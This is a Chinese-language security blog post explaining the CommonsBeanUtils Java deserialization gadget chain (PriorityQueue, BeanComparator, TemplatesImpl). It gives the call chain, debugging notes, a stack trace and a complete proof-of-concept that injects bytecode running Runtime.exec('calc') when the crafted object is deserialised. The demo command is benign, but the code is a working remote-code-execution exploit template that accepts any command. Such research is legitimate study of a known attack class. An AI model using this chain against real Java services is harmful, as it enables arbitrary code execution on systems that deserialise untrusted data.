F4DE F4DE
首页
技术
笔记
随笔
关于
友链
归档

F4DE

Web Security
首页
技术
笔记
随笔
关于
友链
归档
  • Java安全

    • Tomcat

    • Shiro

    • 字节码

    • 反序列化

      • CommonsBeanUtils
        • 利用链
        • 依赖
        • 调试
  • 技术
  • Java安全
  • 反序列化
F4DE
2021-04-19

CommonsBeanUtils

# 利用链

* PriorityQueue#readObject -->
*      heapify -->
*          siftDown -->
*              (comparator != null) siftDownUsingComparator -->
*                  comparator#compare -->
*                      BeanComparator#compare -->
*                          TemplatesImpl#getOutputProperties -->
*                              TemplatesImpl#newTransformer -->
*                                  ······
*                                      newInstance

# 依赖

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.3</version>
</dependency>

# 调试

BeanComparator类的compare的方法:

public int compare(T o1, T o2) {
    if (this.property == null) {
        return this.internalCompare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.internalCompare(value1, value2);
        } catch (IllegalAccessException var5) {
            throw new RuntimeException("IllegalAccessException: " + var5.toString());
        } catch (InvocationTargetException var6) {
            throw new RuntimeException("InvocationTargetException: " + var6.toString());
        } catch (NoSuchMethodException var7) {
            throw new RuntimeException("NoSuchMethodException: " + var7.toString());
        }
    }
}

PropertyUtils#getProperty方法会读取一个Java Bean的Properties类型的字段:

image-20210419125649393

这里和Fastjson其实差不太多,之后就是常规的TemplatesImpl利用链:

TemplatesImpl#getOutputProperties --> TemplatesImpl#newTransformer --> ··· --> instance --> Evil Bytecode{}
TemplatesImpl templates = new TemplatesImpl();
MyUtils.setFieldValue(templates, "_name", "F4DE");
MyUtils.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
MyUtils.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

再借助CC4中的PriorityQueue,把其comparator字段设置成BeanComparator的实例,通过readObject触发comprartor#compare,也就是BeanComparator#compare:

image-20210419130858315

BeanComparator<Object> comparator = new BeanComparator<>("outputProperties");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, null);
priorityQueue.add(1);
priorityQueue.add(2);

MyUtils.setFieldValue(priorityQueue, "comparator", comparator);

为了防止在执行add方法的时候就触发Gadget,所以先把PriorityQueue的comparator字段设置为null,之后再通过反射进行修改;此外,只有当PriorityQueue内部含有两个元素的时候才会触发compare操作,所以这里随便添加两个数字,之后再通过反射进行修改:

Class<?> clazz = Class.forName("java.util.PriorityQueue");
Field field = clazz.getDeclaredField("queue");
field.setAccessible(true);
Object[] queue = (Object[]) field.get(priorityQueue);
queue[0] = templates;
queue[1] = templates;

最后把PriorityQueue的实例进行反序列化:

image-20210419140930107

整个调试过程并不长,10分钟左右就能调试完,整条 Gadget 的调用栈如下:

······
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2127, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1278, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1896, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:39, MyUtils
main:49, CommonsBeanUtils

完整POC代码:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * CommonsBeanUtils Gadget
 *
 * PriorityQueue#readObject -->
 *      heapify -->
 *          siftDown -->
 *              (comparator != null) siftDownUsingComparator -->
 *                  comparator#compare -->
 *                      BeanComparator#compare -->
 *                          TemplatesImpl#getOutputProperties -->
 *                              TemplatesImpl#newTransformer -->
 *                                  ······
 *                                      newInstance
 */

public class CommonsBeanUtils {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass test = pool.makeClass("Test");
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        test.makeClassInitializer().insertBefore(cmd);
        test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = test.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        MyUtils.setFieldValue(templates, "_name", "F4DE");
        MyUtils.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        MyUtils.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        BeanComparator<Object> comparator = new BeanComparator<>("outputProperties");
        PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, null);
        priorityQueue.add(1);
        priorityQueue.add(2);

        MyUtils.setFieldValue(priorityQueue, "comparator", comparator);
        Class<?> clazz = Class.forName("java.util.PriorityQueue");
        Field field = clazz.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] queue = (Object[]) field.get(priorityQueue);
        queue[0] = templates;
        queue[1] = templates;

        MyUtils.deserialize(MyUtils.serialize(priorityQueue));
    }
}

新增了commons-beanutils1.8.3版本的POC,整体思路没有改变,主要是为了不想在一个项目中使用两个不同版本的依赖👻:JavaDesPOC/CommonsBeanUtils.java at master · F4ded/JavaDesPOC (github.com) (opens new window)

字节码文件结构

← 字节码文件结构

最近更新
01
在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
04-19
02
基于Tomcat全局存储进行回显
04-16
03
通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题
04-13
更多文章>
Theme by Vdoing | Copyright © 2020-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×